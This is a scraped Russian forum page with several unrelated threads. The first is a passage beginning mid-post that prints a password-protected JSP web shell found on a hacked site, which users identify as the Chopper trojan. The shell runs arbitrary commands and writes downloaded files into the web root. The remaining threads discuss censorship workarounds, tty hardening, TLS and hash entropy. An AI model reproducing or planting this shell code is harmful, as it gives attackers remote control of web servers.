      }
    }
    return _jsp_instancemanager;
  }
  public void _jspInit() {
  }
  public void _jspDestroy() {
  }
  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
        throws java.io.IOException, javax.servlet.ServletException {
final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}
    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;

    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
                  null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

    if("G5X49Q".equals(request.getParameter("pwd")))
    {
        String strCmd=request.getParameter("cmd");
        String strUrl=request.getParameter("url");
        String strFile=request.getParameter("file");
        if(null!=strCmd)
        {
            java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1)
            {
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        if(null!=strUrl&&null!=strFile)
        {
            java.io.InputStream in = new java.net.URL(strUrl).openStream();
            byte[] b = new byte[1024];
            java.io.ByteArrayOutputStream baos = new
            java.io.ByteArrayOutputStream();
            int a = -1;
            while ((a = in.read(b)) != -1)
            {
                baos.write(b, 0, a);
            }
            new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
        }
        out.println("MtGqKu3y");
    }
    else
    {
        //out.println("no token");
    }
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}
сообщить модератору +/– ответить

и троян Trojan JS Chopper YA MTB, BarS (??), 15:53 , 25-Янв-21 (3)
и троян Trojan:JS/Chopper.YA!MTB
сообщить модератору +/– ответить

Было незаметно, раз в полгода прокачивали рассылки 1 день про взломанные аккаунт, BarS (??), 16:10 , 25-Янв-21 (4)
Было незаметно, раз в полгода прокачивали рассылки 1 день про взломанные аккаунты с ссылками на свой сайт. На Россию не рассылали, все за бугор.
сообщить модератору +/– ответить
На Винде , universite (ok), 18:00 , 26-Янв-21 (5)
> и троян Trojan:JS/Chopper.YA!MTB
На Винде? :)
сообщить модератору +/– ответить

На винде скаченный файл открыть защитник не дает, BarS (??), 16:02 , 27-Янв-21 (6)
>> и троян Trojan:JS/Chopper.YA!MTB
> На Винде? :)
На винде скаченный файл открыть защитник не дает
сообщить модератору +/– ответить

Китай tox.chat и все все все .....,

Аноним, (Firewall и пакетные фильтры) 09-Май-23, 17:50 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

gmail, Аноним (1), 20:11 , 09-Май-23 (1)

как бы нетhttps en wikipedia org wiki List_of_websites_blocked_in_mainland_Chi, Аноним (2), 11:02 , 10-Май-23 (2)

Думаешь, Китай - это цифровая черная дыра Пусть приедет и там на месте разберет, Аноним (3), 13:46 , 10-Май-23 (3)

в Китае wechat и qq работают, снаружи их вроде санкциями ещё не обложили, можно , DeerFriend (?), 14:54 , 10-Май-23 (4) +1

Это по сути китайские бэкдоры, достаточно на клиенты посмотреть Да и серверам д, Аноним (19), 19:39 , 13-Июн-23 (19)
> в Китае wechat и qq работают,
Это по сути китайские бэкдоры, достаточно на клиенты посмотреть. Да и серверам доверия столько же.
сообщить модератору +/– ответить

Симки в роуминге не фильтруются , abi (?), 15:32 , 10-Май-23 (5)
Element вроде должен работать - https app element io , Аноним (9), 11:27 , 15-Май-23 (9)
Element вроде должен работать - https://app.element.io/
сообщить модератору +/– ответить

проверь и напиши точно, Аноним (11), 12:06 , 15-Май-23 (11) –1
проверь и напиши точно
сообщить модератору –1 +/– ответить

VPN возьми, если человек читает опеннет - SSH , Аноним (-), 17:23 , 15-Май-23 (12) –2
> Добрый день.
> Подскажите. Есть такая задача. Надо организовать обмен сообщениями с человеком который
> поедет Китай не надолго. То есть по сути нужен whatsapp или
> telegram. Как я слышал там данные программы не работают.
> Но если поискать в интернетах, выясняется что подобного рода ПО много, неужели
> все их тоже блокируют https://en.wikipedia.org/wiki/Comparison_of_cross-platform_i...
> Подскажите кто знает или у кого есть подобный опыт. Мое ТЗ
> простое надо что бы работало через wifi (есть в отеле), устанавливалось
> на andriod. Можно было послать текстовое и графическое сообщении.
> ПС. Регистрация в wechat озаботился но там как все не просто.
VPN возьми, если человек читает опеннет - SSH.
сообщить модератору –2 +/– ответить
копайте со своим знакомым в сторону shadowsocks v2ray xray - заработает любой ме, ДМИТРИЙ НАГИЕВ (?), 07:14 , 26-Май-23 (13)
копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
https://habr.com/ru/articles/727868/
сообщить модератору +/– ответить

Хм пробавился я проблемами обфускации и проксирования, пока мало что понял Но с, Аноним (2), 13:06 , 26-Май-23 (14)
> копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
> https://habr.com/ru/articles/727868/
Хм. пробавился я проблемами обфускации и проксирования, пока мало что понял.
Но спасибо.
Буду думать.
сообщить модератору +/– ответить

https drift-hunters ioБольшой , roseduffy (ok), 10:38 , 02-Июн-23 (15)
>> копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
>> https://habr.com/ru/articles/727868/
https://drift-hunters.io
> Хм. пробавился я проблемами обфускации и проксирования, пока мало что понял.
> Но спасибо.
> Буду думать.
Большой!
сообщить модератору +/– ответить

Это сработало для вас Вам удалось избавиться от проблемы , irinakrvavych (ok), 01:40 , 03-Июн-23 (16)
>>> копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
>>> https://habr.com/ru/articles/727868/
> https://chi-nese.com/
>> Хм. пробавился я проблемами обфускации и проксирования, пока мало что понял.
>> Но спасибо.
>> Буду думать.
> Большой!
Это сработало для вас? Вам удалось избавиться от проблемы?
сообщить модератору +/– ответить

Ну как сказать, пока изучаю, в целом не сложено, клиент и сервер поставил вроде , Аноним (17), 13:15 , 10-Июн-23 (17)
>>>> копайте со своим знакомым в сторону shadowsocks/v2ray/xray - заработает любой мессенджер
>>>> https://habr.com/ru/articles/727868/
>> https://chi-nese.com/
>>> Хм. пробавился я проблемами обфускации и проксирования, пока мало что понял.
>>> Но спасибо.
>>> Буду думать.
>> Большой!
> Это сработало для вас? Вам удалось избавиться от проблемы?
Ну как сказать, пока изучаю, в целом не сложено, клиент и сервер поставил вроде работать. Теперь надо понять как это можно использовать. Серверов в свободном доступе пока не нашел.
Ну а если о проблеме, то там все проще, симка в роуменге, дорого конечно, но для моих задач подходит.
сообщить модератору +/– ответить

На самом деле вы даже можете найти публичные сервера прокси vpn такого плана Ес, Аноним (19), 19:32 , 13-Июн-23 (18)
На самом деле вы даже можете найти публичные сервера прокси/vpn такого плана. Есть только маленький нюанс: GFW имеет свойство трекать число соединений к серверу и если серв ему кажется подозрительным - начинает пакостить, снижая скорость или что еще.
Что до "симки в роуминге" - GFW вроде чекает магистральный траф наружу, врядли ему большая разница сотовый это или что-то еще. Он даже умеет активный пробинг, сунуться по энному протоколу вон туда, если вышло и сервис опознан - забанить его на время. И там еще миллион цензоров пашут, они могут и мануально залистить навернео самые попсовые.
Так что один из вариантов это нарулить себе vps-ку где-то в нормальном интернете, поставить там продвинутых проксификаторов и впнов и смотреть что пролезет. А, ssh они там душат по скорости. Для команд хватит а вот сверх того... если только текстом чатиться, может и сойдет.
p.s. имеет смысл по китайским ссылочкам на гитхабе покликать, там интереснейший софт попадается. Никогда не видели muptipath vpn + FEC, который агрегирует эн паршивых каналов? И даже с выпадениями пакетов в хреновой сети работает, не говоря про то что у GFW крыша полностью отъезжает если пакеты раскидать в эн потоков, известные сигнатуры размеров и таймингов при этом конечно же пролетают. А так можно было. И для китайцев это обычное дело.
сообщить модератору +/– ответить

Получены интересные результаты 1 tox не блокируется 2 вконтакте не блокируется, Аноним (2), 17:13 , 12-Июл-23 (20)
Получены интересные результаты:
1) tox не блокируется.
2) вконтакте не блокируется.

сообщить модератору +/– ответить

В роуминге все работает, Аноним (2), 17:23 , 12-Июл-23 (21)
В роуминге все работает
сообщить модератору +/– ответить

как удалить /dev/tty* ?,

LehaValov, (Безопасность системы) 16-Ноя-15, 06:08 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

rc1 grub password, админ (?), 07:46 , 16-Ноя-15 (1)
rc1? grub + password
сообщить модератору +/– ответить
вы когда нибудь про файл etc ttys слышали что в нем можно для каждого tty ука, eRIC (ok), 08:13 , 16-Ноя-15 (2) +2
> Приветствую всех, требуется полностью закрыть возможность залогинится через /dev/tty*
вы когда нибудь про файл /etc/ttys слышали? что в нем можно для каждого tty* указать вместо "secure" на "insecure" чтобы отключить подключение локально

сообщить модератору +2 +/– ответить

прошу прощения, долго гуглил и эксперементировал, забыл сказать что ОС debian8 ,, LehaValov (?), 01:05 , 17-Ноя-15 (3) –1
> вы когда нибудь про файл /etc/ttys слышали? что в нем можно для
> каждого tty* указать вместо "secure" на "insecure" чтобы отключить подключение локально
прошу прощения, долго гуглил и эксперементировал, забыл сказать что ОС debian8 , в ней нет ни /etc/ttys ни /etc/inittab...
сообщить модератору –1 +/– ответить

потому что Debian перешел на systemd и отключить консоли tty можно в файле в фай, eRIC (ok), 08:38 , 17-Ноя-15 (4) +1
> прошу прощения, долго гуглил и эксперементировал, забыл сказать что ОС debian8 ,
> в ней нет ни /etc/ttys ни /etc/inittab...
потому что Debian перешел на systemd и отключить консоли tty можно в файле в файле /etc/systemd/logind.conf
http://crunchbang.org/forums/viewtopic.php?id=39757

сообщить модератору +1 +/– ответить

eRIC, благодарю за поддержку, но не получается ничего прочитал топик, редактир, LehaValov (?), 00:38 , 18-Ноя-15 (5)
> потому что Debian перешел на systemd и отключить консоли tty можно в
> файле в файле /etc/systemd/logind.conf
> http://crunchbang.org/forums/viewtopic.php?id=39757
eRIC, благодарю за поддержку, но не получается ничего...
прочитал топик, редактировал:
/etc/default/console-setup
Строчку ACTIVE_CONSOLES="/dev/tty[1-6]" заменял на ACTIVE_CONSOLES="/dev/null" , ACTIVE_CONSOLES="" , и пробовал просто закомментить, в результате менялись шрифты o_0, тоесть результат нулевой.

/etc/systemd/logind.conf
раскомментировал строки
NAutoVTs=6
ReserveVT=6
заменил на
NAutoVTs=0
ReserveVT=0
тоже никаких изменений.
в топике сказано @OP: Disabling TTYs via /etc/logind.conf saves *no resources whatsoever*
это тоже ничего не дает.
пошел искать все связанное с tty
grep tty $(find /etс -type f)
/etc/security/access.conf раскомментировал
#Disallow console logins to all but a few accounts
-:ALL EXPECT wheel shutdown sync:LOCAL
разультата нет, тоже и для "Disallow non-root logins on tty1", результат ноль, заходит любым юзером из tty1
-: ALL : tty1 tty2 tty3 tty4 tty5 tty6
тоже не работает, зачем этот файл нужен вообще? понимаю что я не специалист но вроде черным по белому написано в начале файла "Login access control table"
других файлов где реально что-то менять не нашел...
потрачу еще времени на поиск, но если не найду то поставлю дебиан7 без системдэ и закомментирую "1:2345:respawn:/sbin/getty 38400 tty*" в /etc/inittab что ранее приводило к нужному результату.
но может кто подскажет грубый способ но действенный - как при загрузке в любом режиме удалять /dev/tty* ?
сообщить модератору +/– ответить

глянул на одной из бубунт машин, там все через systemd зарулили не фанат systemd, eRIC (ok), 12:43 , 18-Ноя-15 (6) +2
глянул на одной из бубунт машин, там все через systemd зарулили(не фанат systemd) и некоторые даже используются для системы. гляньте в /lib/systemd/system и все что связано с getty.* и везде ссылка на http://0pointer.de/blog/projects/serial-console.html думаю что поможет
или попробовать средствами udev удалять ненужное количество tty, которое гуляет в сети:
/etc/udev/rules.d/99-remove-tty.rules:
KERNEL=="tty[1-9]", RUN="/bin/rm /dev/%k", OPTIONS+="ignore_device"
которое оставляет только tty0
сообщить модератору +2 +/– ответить

в lib systemd systemпо всякому редактировал getty service и serial-getty serv, LehaValov (?), 22:39 , 19-Ноя-15 (7)
в /lib/systemd/system
по всякому редактировал getty@.service и serial-getty@.service результата не добился, может не так редактировал...
почитал http://0pointer.de/blog/projects/serial-console.html
сменил права на 0000 для /lib/systemd/system-generators/systemd-getty-generator , опять безрезультатно...
записал в /etc/udev/rules.d/99-remove-tty.rules
KERNEL=="tty[0-99]", RUN="/bin/rm /dev/%k", OPTIONS+="ignore_device"
то что нужно, но в однопользовательском режиме рут всеравно заходит, буду разбираться в однопользовательском, что-же там происходит и как на это влиять.

сообщить модератору +/– ответить

я вижу, вы еще тот параноид сервак физически у врагов находится чтоль може, eRIC (ok), 08:13 , 20-Ноя-15 (8)
> записал в /etc/udev/rules.d/99-remove-tty.rules
> KERNEL=="tty[0-99]", RUN="/bin/rm /dev/%k", OPTIONS+="ignore_device"
> то что нужно, но в однопользовательском режиме рут всеравно заходит, буду разбираться
> в однопользовательском, что-же там происходит и как на это влиять.
я вижу, вы еще тот параноид :) сервак физически у врагов находится чтоль? :)
может указать в /etc/inittab
su:S:wait:/sbin/sulogin #будет требовать пароль root'а

сообщить модератору +/– ответить

да, паранойя моя зашкаливает , а сервак будет находится у тех кто должен полу, LehaValov (?), 22:01 , 20-Ноя-15 (9)
> я вижу, вы еще тот параноид :) сервак физически у врагов находится
> чтоль? :)
да, паранойя моя зашкаливает :) , а сервак будет находится у тех кто должен получать оплату за его бесперебойную работу и при этом не совать в него любопытный нос :), вот и стараюсь это реализовать :)

> может указать в /etc/inittab
> su:S:wait:/sbin/sulogin #будет требовать пароль root'а
если дебиан7 поставлю - так и сделаю, а пока буду искать решение в свободное время :)

сообщить модератору +/– ответить

Передача сертификата сервером в процессе установления TLS-соед.,

Lun2, (Шифрование, SSH, SSL) 29-Апр-23, 18:31 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Хотелось ответить в стиле - да Но надо что-то менять в этом мирке Только когда , Аноним (-), 19:33 , 02-Май-23 (2)
Хотелось ответить в стиле - да. Но надо что-то менять в этом мирке.
Только когда клиент авторизует сервер по собственному сертификату, а сервер клиента по его собственному сертификату - можно сказать что соединение авторизовано и зашифровано. Все остальное лабуда, хоть на лбу себе зеленый замочек набейте - безопасТнее не станет.
сообщить модератору +/– ответить
В открытом Это же открытый ключ из пары ключей ассиметричного шифрования Закры, pashev.ru (?), 15:13 , 03-Май-23 (3)
> Добрый день!
> Подскажите, пожалуйста, в процессе установления TLS-соединения когда сервер после своего
> ServerHello направляет клиенту свой сертификат - этот сертификат передается в открытом
> виде или в зашифрованном ?
В открытом. Это же открытый ключ из пары ключей ассиметричного шифрования. Закрытый ключ остаётся на сервере.
сообщить модератору +/– ответить

фигичного шифрования клиентский ключ шифрован открытым ключем сервера а вот то , Аноним (-), 20:53 , 03-Май-23 (4) –1

> В открытом. Это же открытый ключ из пары ключей ассиметричного шифрования. Закрытый
> ключ остаётся на сервере.
фигичного шифрования. клиентский ключ шифрован открытым ключем сервера.
а вот то что сервер не авторизован из-за того что на нем нет ключа клиента - делает все эти шифрования бесполезными, аля современный https с зелеными замочками
сообщить модератору –1 +/– ответить

Ты бредишь , pashev.ru (?), 22:50 , 04-Май-23 (5)
>> В открытом. Это же открытый ключ из пары ключей ассиметричного шифрования. Закрытый
>> ключ остаётся на сервере.
> фигичного шифрования. клиентский ключ шифрован открытым ключем сервера.
> а вот то что сервер не авторизован из-за того что на нем
> нет ключа клиента - делает все эти шифрования бесполезными, аля современный
> https с зелеными замочками
Ты бредишь.
сообщить модератору +/– ответить

Этот сертификат публичный он один для всех даже если ты его зашифруешь - любой, ыы (?), 13:39 , 05-Май-23 (6)
> Добрый день!
> Подскажите, пожалуйста, в процессе установления TLS-соединения когда сервер после своего
> ServerHello направляет клиенту свой сертификат - этот сертификат передается в открытом
> виде или в зашифрованном ?
Этот сертификат публичный. он один для всех. даже если ты его зашифруешь - любой клиент получит его и будет знать. какой смысле его шифровать? :)
сообщить модератору +/– ответить
прочитайте уже про ассимитричное шифрование, Tester (??), 14:00 , 06-Май-23 (7)
> Добрый день!
> Подскажите, пожалуйста, в процессе установления TLS-соединения когда сервер после своего
> ServerHello направляет клиенту свой сертификат - этот сертификат передается в открытом
> виде или в зашифрованном ?
прочитайте уже про ассимитричное шифрование
сообщить модератору +/– ответить

Вопрос касался не ассимметричного шифрования вообще до него дело пока не дошло , Lun2 (ok), 21:21 , 09-Май-23 (8)
>> Добрый день!
>> Подскажите, пожалуйста, в процессе установления TLS-соединения когда сервер после своего
>> ServerHello направляет клиенту свой сертификат - этот сертификат передается в открытом
>> виде или в зашифрованном ?
> прочитайте уже про ассимитричное шифрование
Вопрос касался не ассимметричного шифрования вообще (до него дело пока не дошло), а передачи сертификата, а возник он из-за того, что в RFC 8446 (секция 2) сообщение "Certificate" отмечено в фигурных скобках, а далее добавлено примечание:
"{} Indicates messages protected using keys derived from a [sender]_handshake_traffic_secret".
Я понял эту фразу как то, сертификат шифруется. Возможно, ошибаюсь, поэтому я спрашиваю более знающих...
Более того, далее указано - "Everything after this phase is encrypted". Вроде бы однозначно сказано, но вопрос возник еще и потому, что в самом описании сообщения "Certificate" четко не написано - шифруется он или нет, напротив, говорится, что он отсылается в кодировке DER (это нешифрованные данные).

сообщить модератору +/– ответить

ClamAV бан в РФ?,

GlooM, (ПО для увеличения безопасности / Linux) 11-Мрт-22, 08:47 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Есть такое, компания Cisco подразделение Cisco Talos заблокировала доступ к се, Аноним (1), 08:54 , 11-Мрт-22 (1)
Есть такое, компания Cisco (подразделение Cisco Talos) заблокировала доступ к серверам clamav.net для российских IP-адресов. В том числе закрыт доступ к database.clamav.net.
Доступ к своим серверам с загрузками или репозиториями также закрыли Docker, HashiCorp, Mattermost, Qt (недоступен сервер с бинарными сборками).

сообщить модератору +/– ответить

То есть их лицензии более соблюдать необязательно Ну ок , pofigist (?), 14:36 , 18-Мрт-22 (4)
> Есть такое, компания Cisco (подразделение Cisco Talos) заблокировала доступ к серверам
> clamav.net для российских IP-адресов. В том числе закрыт доступ к database.clamav.net.
> Доступ к своим серверам с загрузками или репозиториями также закрыли Docker, HashiCorp,
> Mattermost, Qt (недоступен сервер с бинарными сборками).
То есть их лицензии более соблюдать необязательно? Ну ок... :)
сообщить модератору +/– ответить

Они нас не любят С , Pahanivo пробегал (?), 00:35 , 13-Мрт-22 (3)
Они нас не любят (С)
сообщить модератору +/– ответить
А через сеть TOR ходить и обновляется Без TORа, на прямую с IP РФ, теперь ссыкот, Аноним (5), 17:37 , 23-Мрт-22 (5)
А через сеть TOR ходить и обновляется?
Без TORа, на прямую с IP РФ, теперь ссыкотно обновляется, могут подменять базы, пакеты, ... или тупо банить.
сообщить модератору +/– ответить
Да, пишут что в марте этого года заблокировали на территории РФ , shatt11 (ok), 19:08 , 08-Авг-22 (6)
> Со вчерашнего дня на почтовом сервере наблюдаю сбой работы антивируса (ClamAV). Логи
> показывают, что причина заключается в невозможности скачать базы из-за сетевой недоступности
> ресурса, в результате чего Freshclam спустя несколько неудачных попыток выгружается. Если
> проверять https://www.clamav.net с браузера, то получаю ошибку "Аксес Денайд". С рабочего
> и домашнего провайдера бан воспроизводится, через прокси все работает, с мобильного
> интернета (МТС) тоже работает.
> Как я понимаю, КламАВ врубил региональный бан? Есть какие-нибудь альтернативные репозитории
> с базами сигнатур?
Да, пишут что в марте этого года заблокировали на территории РФ.
сообщить модератору +/– ответить
в freshclam confPrivateMirror pivotal-clamav-mirror s3 amazonaws comобновляться , неяссыть (?), 16:35 , 09-Авг-22 (7)
> Со вчерашнего дня на почтовом сервере наблюдаю сбой работы антивируса (ClamAV). Логи
> показывают, что причина заключается в невозможности скачать базы из-за сетевой недоступности
> ресурса, в результате чего Freshclam спустя несколько неудачных попыток выгружается. Если
> проверять https://www.clamav.net с браузера, то получаю ошибку "Аксес Денайд". С рабочего
> и домашнего провайдера бан воспроизводится, через прокси все работает, с мобильного
> интернета (МТС) тоже работает.
> Как я понимаю, КламАВ врубил региональный бан? Есть какие-нибудь альтернативные репозитории
> с базами сигнатур?
в freshclam.conf
PrivateMirror pivotal-clamav-mirror.s3.amazonaws.com
обновляться даёт раз в сутки. иначе WARNING: You are still on cool-down until after
сообщить модератору +/– ответить
Обновляйся с сайта Майкры https packages microsoft com clamav он не забан, ipmanyak (ok), 17:59 , 13-Апр-23 (9)
> Со вчерашнего дня на почтовом сервере наблюдаю сбой работы антивируса (ClamAV). Логи
> показывают, что причина заключается в невозможности скачать базы из-за сетевой недоступности
> ресурса, в результате чего Freshclam спустя несколько неудачных попыток выгружается. Если
> проверять https://www.clamav.net с браузера, то получаю ошибку "Аксес Денайд". С рабочего
> и домашнего провайдера бан воспроизводится, через прокси все работает, с мобильного
> интернета (МТС) тоже работает.
> Как я понимаю, КламАВ врубил региональный бан? Есть какие-нибудь альтернативные репозитории
> с базами сигнатур?
Обновляйся с сайта  Майкры  https://packages.microsoft.com/clamav/   он не забанен
Можете зайти на него браузером и поглядеть список файлов
Вот еще зеркало   https://clamav-mirror.ru/
Список зеркал Clamav  еще на гитхабе есть     https://github.com/stdevPavelmc/mailad/issues/147

сообщить модератору +/– ответить

Статистическое исследование энтропии из контрольных сум.,

Аноним, (ПО для тестирования и диагностики) 11-Мрт-23, 11:51 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Хэширование вообще-то энтропию не создает Часто даже уменьшает , Аноним (1), 13:28 , 12-Мрт-23 (1)

Идея https www opennet ru openforum vsluhforumID3 128276 html 42Создаем файлe, Аноним (2), 18:26 , 13-Мрт-23 (2)

Здравствуйте, нашей компании очень понравился ваш скрипт, хотим его использовать, Аноним (3), 19:11 , 13-Мрт-23 (3)

Зачем стебать непризнанного гения, Аноним (6), 07:02 , 14-Мрт-23 (6)
Так одному пекарю работу дали , Аноним (7), 10:12 , 14-Мрт-23 (7)
Реквизиты компании , Аноним (8), 18:41 , 14-Мрт-23 (8)

Для хеш-сумм главное коллизии Энтропия, конечно, тоже важна, но измерять её инс, Аноним (9), 22:21 , 13-Мрт-23 (4)

Т е выше , Аноним (9), 06:06 , 14-Мрт-23 (5)
Хорошая энторпия ведет к исключению колизий Это взаимосвязанные понятия Энтропи, Аноним (9), 19:13 , 14-Мрт-23 (9)
> Для хеш-сумм главное коллизии. Энтропия, конечно, тоже важна,
Хорошая энторпия ведет к исключению колизий. Это взаимосвязанные понятия.
> но измерять её инструментом для анализа генераторов случайных чисел - некорректно.
Энтропия измерялась инструментом, для измерения энтропии. Здесь все корректно. Но можно придратся к самим тестам в rngtest.
> А разница между хэш-суммами незначительна и не влияет на их предназначение (плюс не забываем про некорректность инструмента измерения).
А вот здесь не соглашусь. Явно в статистике усматривается уменишение энтропии в современных контрольных сумах по сравнению со старыми. А значит прямо влияет на их предназначение. Усматривается вероятность закладок в современных хешах!
> ИМХО это успех.
Да: sha1, tiger, sha224, whirlpool победили ВСЕ стандартные, програмные, источники энтропии в системе! Даже 'gpg --gen-random 2' повержен. Это безусловно большой успех.
Проиграли только искуственному источнику энтропии с коррекцией под проводимый тест:
```
dd if=/dev/urandom status=none |rngtest --pipe
```
Но почему победили старые контрольные сумы sha1 и tiger, а не новые?!! Чем новее контрольная сума тем хуже у нее энтропия. И это ИМХО ПРОВАЛ... ;)
сообщить модератору +/– ответить

Вот коллизии и измеряйте Сферический конь в вакууме В пределах погрешности измер, Аноним (9), 20:25 , 14-Мрт-23 (10)
> Хорошая энторпия ведет к исключению колизий. Это взаимосвязанные понятия.
Вот коллизии и измеряйте.
> Энтропия измерялась инструментом, для измерения энтропии.
Сферический конь в вакууме.
> Явно в статистике усматривается уменишение энтропии в
В пределах погрешности измерений.
> Усматривается вероятность закладок в современных хешах!
Предоставьте это решать специалистам в данной области, которых на опеннете не водится.
сообщить модератору +/– ответить

Меня интересовала именно энтропия Тестом энтропии определённый FIPS 140-2 от 200, Аноним (12), 17:26 , 15-Мрт-23 (12)
>> Хорошая энторпия ведет к исключению колизий. Это взаимосвязанные понятия.
> Вот коллизии и измеряйте.
Меня интересовала именно энтропия.
>> Энтропия измерялась инструментом, для измерения энтропии.
> Сферический конь в вакууме.
Тестом энтропии определённый FIPS 140-2 от 2001-10-10, rngtest из пакета rng-tools.
(Note that these tests are defined on FIPS 140-1 and FIPS 140-2 errata of 2001-10-10. They were removed in FIPS 140-2 errata of 2002-12-03)
>> Явно в статистике усматривается уменишение энтропии в
> В пределах погрешности измерений.
На счет погрешности не спорю, чтобы точно назвать цифру после трёх девяток необходимо провести 1 000 000 тестов, а проведено всего 10 000. Но данные результаты не будут сильно отличатся от истеных.
У кого в доме нет отопления может запустить:
```
bash entropy-time-hash sha224 |rngtest -c 1000000
bash entropy-time-hash sha384 |rngtest -c 1000000
```
И убедится в совпадении цыфр после 9 в пределах погрешности +-1 .. +-2
>> Усматривается вероятность закладок в современных хешах!
> Предоставьте это решать специалистам в данной области, которых на опеннете не водится.
Лично усматриваю вероятность закладок в современных хешах на основании представленных статистических данных. А то что напишут проплаченные "крыптологи" не внушает доверия.
сообщить модератору +/– ответить

Ну провёл вот пару тестов, только на вход подавал не время, а последовательность, Аноним (9), 18:53 , 15-Мрт-23 (14)
> И убедится в совпадении цыфр после 9 в пределах погрешности +-1 ..
> +-2
Ну провёл вот пару тестов, только на вход подавал не время, а последовательность с шагом 1 начиная с единицы:
$ bash entropy-sequence-hash.sh sha1 |rngtest -c 10000
rngtest: FIPS 140-2 successes: 9994
rngtest: FIPS 140-2 failures: 6
rngtest: FIPS 140-2(2001-10-10) Monobit: 1
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 2
rngtest: FIPS 140-2(2001-10-10) Long run: 3
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
rngtest: input channel speed: (min=19.277; avg=23.093; max=36.944)Kibits/s

$ bash entropy-sequence-hash.sh sha3-384 |rngtest -c 10000
rngtest: FIPS 140-2 successes: 9996
rngtest: FIPS 140-2 failures: 4
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 3
rngtest: FIPS 140-2(2001-10-10) Long run: 1
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
rngtest: input channel speed: (min=38.232; avg=53.090; max=89.004)Kibits/s
И что дальше?...
> Лично усматриваю вероятность закладок в современных хешах на основании представленных
> статистических данных. А то что напишут проплаченные "крыптологи" не внушает доверия.
Найдите непроплаченных или проплаченных вами. Всё лучше, чем _ценное_ мнение доморощенного "крыптоаналитега" одной программой и с ограниченным бюджетом.
сообщить модератору +/– ответить

В рекомендациях по написанию PRNG 1980-тых, в случае полного отсутствия энтропии, Аноним (16), 20:03 , 15-Мрт-23 (16)
> только на вход подавал не время, а последовательность с шагом 1 начиная с единицы
В рекомендациях по написанию PRNG 1980-тых, в случае полного отсутствия энтропии в системе, разрешалось, для первоначального seed-ирования алгоритма PRNG брать "контрольну суму от времени".
"PRNG" на основе контрольной сумы последовательности натуральных чисел явно перебор. Но не для энтропии, а для исследования самих контрольных сум и обеспечении повторяемости результата, допускаю использование последовательности натуральных чисел. Сделайте пожалуйста ещё ваш тест для sha224.
А я повторно выложу свои результаты тестов для sha1, sha224, sha384.
сообщить модератору +/– ответить

FIPS 140 определяет допустимый минимум для информационных систем FIPS 140-1 с те, Аноним (15), 19:26 , 15-Мрт-23 (15)
FIPS 140 определяет допустимый минимум для информационных систем.
FIPS 140-1 с тестами был опубликован 1994.01.11. И эти тесты почему-то были удалены с FIPS 140-2 от 2002.12.03 !
SHA-1 приняли 1995.04.17 когда тесты были действующими.
SHA-2 приняли в 2002.08.01 и тесты FIPS 140-2 в редакции от 2001.10.10 были ещё действующими.
Предполагаю, что кто-то из любопытства запустил, тесты с FIPS 140-1 от 1994.01.11 и FIPS 140-2 от 2001.10.10 для тестирования SHA-2.
По результатам тестирования в АНБ отправили письмо с вопросом: "почему энтропия полученыа из нового SHA-2 хуже чем получается из старого SHA-1 ?!!"
Получив письмо, АНБ, для скрытия своих закладок в SHA-2, 2002.12.03 удалила тесты с стандарта FIPS 140-2.
сообщить модератору +/– ответить

Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник,, ыы (?), 08:32 , 15-Мрт-23 (11)
> Статистическое исследование энтропии тестом FIPS 140-2 от 2001-10-10, rngtest из пакета
> rng-tools.
> Как говорят ложь
Вероятно все дело в том, что все ваши тесты - тестировали по сути один источник, который зависит от вашей активности за компом...
SHA1 не берет данные из воздуха... он берет их все из того же источника что и все остальные.
